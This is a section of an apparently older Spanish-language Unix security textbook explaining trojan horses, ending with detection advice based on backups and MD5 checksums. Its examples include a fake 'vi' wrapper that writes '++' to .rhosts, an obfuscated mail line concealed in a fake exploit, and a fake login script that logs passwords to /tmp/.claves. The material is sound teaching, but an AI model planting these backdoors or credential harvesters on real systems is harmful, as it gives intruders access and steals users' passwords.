Siguiente: Applets hostiles
Subir: Fauna y otras amenazas
Anterior: Conejos
Índice General
En el libro VIII de La Odisea de Homero se cuenta la historia de que los
griegos, tras mucho tiempo de asedio a la ciudad de Troya, decidieron construir
un gran caballo de madera en cuyo interior se escondieron unos cuantos soldados;
el resto del ejército griego abandonó el asedio dejando allí el
caballo, y al darse cuenta de que el sitio a su ciudad había acabado, los
troyanos salieron a inspeccionar ese gran caballo de madera. Lo tomaron como
una muestra de su victoria y lo introdujeron tras las murallas de la ciudad sin
darse cuenta de lo que realmente había en él. Cuando los troyanos
estaban celebrando el fin del asedio, del interior del caballo salieron los
soldados griegos, que abrieron las puertas de la ciudad al resto de su
ejército - que había vuelto al lugar - y pudieron de esta forma
conquistar la ciudad de Troya.
De la misma forma que el antiguo caballo de Troya de la mitología griega
escondía en su interior algo que los troyanos desconocían, y que
tenía una función muy diferente a la que ellos pensaban, un troyano o
caballo de Troya actual es un programa que aparentemente realiza una
función útil para quién lo ejecuta, pero que en realidad - o aparte -
realiza una función que el usuario desconoce, generalmente dañina. Por
ejemplo, un usuario que posea el suficiente privilegio en el sistema puede
renombrar el editor vi como vi.old, y crear un programa denominado
vi como el siguiente:
#!/bin/sh
echo "++">$HOME/.rhosts
vi.old $1
Si esto sucede, cuando alguien trate de editar un fichero automáticamente
va a crear un fichero .rhosts en su directorio de usuario, que
permitirá a un atacante acceder de una forma sencilla al sistema utilizando
las órdenes r- de Unix BSD.
Los troyanos son quizás el malware más difundido en cualquier tipo
de entorno ([KT97]), incluyendo por supuesto a Unix; sus variantes
incluyen incluso ejemplos graciosos: ha habido casos en
los que comenta un potencial problema de seguridad - real - en una lista
de correo y se acompaña la descripción de un shellscript que en
principio aprovecha dicho problema para conseguir privilegios de root. En
ese exploit se ha incluido, convenientemente camuflada, una sentencia
similar a la siguiente:
echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk| mail \
-s "`echo "A'p gr4ibf t2 hLcM ueem"|tr Ae4Lpbf2gumM Ioyamngotrtk`" root
De esta forma, cuando un script kiddie ejecute el programa para conseguir
privilegios en el sistema, sin darse cuenta automáticamente lo estará
notificando al administrador del mismo; evidentemente el exploit suele
ser falso y no da ningún privilegio adicional, simplemente sirve para que el
root sepa qué usuarios están `jugando' con la seguridad de sus
máquinas.
Por desgracia, estos troyanos inofensivos no son los más comunes; existen
también ejemplos de caballos de Troya dañinos: sin duda el ejemplo
típico de troyano (tan típico que ha recibido un nombre especial:
trojan mule o mula de Troya ([Tom94])) es el falso programa de
login. Nada más encender
una terminal de una máquina Unix aparece el clásico mensaje `login:'
solicitando nuestro nombre de usuario y contraseña, datos que con toda
seguridad la persona que enciende este dispositivo tecleará para poder acceder
al sistema. Pero, >qué sucedería si el programa que imprime
el mensaje en pantalla es un troyano? Cualquier usuario del sistema puede crear
un código que muestre un mensaje similar, guarde la información leída
de teclado (el login y el password) e invoque después al programa
login original; tras la primera lectura, se mostrará el también
clásico mensaje `Login incorrect', de forma que el usuario pensará
que ha tecleado mal sus datos - nada extraño, al fin y al cabo -. Cuando
el programa original se ejecute, se permitirá el acceso al sistema y ese
usuario no habrá notado nada anormal, pero alguien acaba de registrar su
login y su contraseña. Un troyano de este tipo es tan sencillo que se
puede hacer - de forma simplificada - en unas pocas líneas de shellscript:
luisa:~$ cat trojan
clear
printf "`uname -n` login: "
read login
stty -echonl -echo
printf "Password: "
read pass
echo "$login : $pass" >>/tmp/.claves
printf "\nLogin incorrect"
echo
exec /bin/login
luisa:~$
El atacante no necesita más que dejar lanzado el programa en varias terminales
del sistema y esperar tranquilamente a que los usuarios vayan tecleando sus
logins y passwords, que se guardarán en /tmp/.claves;
evidentemente este ejemplo de troyano es muy simple, pero es suficiente para
hacernos una idea del perjuicio que estos programas pueden producir en una
máquina Unix. En los últimos años han aparecido caballos de Troya mucho
más elaborados en diversas utilidades de Unix, incluso en aplicaciones
relacionadas con la seguridad como TCP Wrappers; en [CER99] se
pueden encontrar referencias a algunos de ellos.
La forma más fácil de descubrir caballos de Troya (aparte de sufrir sus
efectos una vez activado) es comparar los ficheros bajo sospecha con una copia
de los originales, copia que evidentemente se ha de haber efectuado antes de
poner el sistema en funcionamiento y debe haber sido guardada en un lugar
seguro, para evitar así que el atacante modifique también la versión
de nuestro backup. También es recomendable - como sucede con el resto
de malware - realizar resúmenes MD5 de nuestros programas y
compararlos con los resúmenes originales; esto, que muchas veces es ignorado,
puede ser una excelente solución para prevenir la amenaza de los caballos de
Troya.
Siguiente: Applets hostiles
Subir: Fauna y otras amenazas
Anterior: Conejos
Índice General
2003-08-08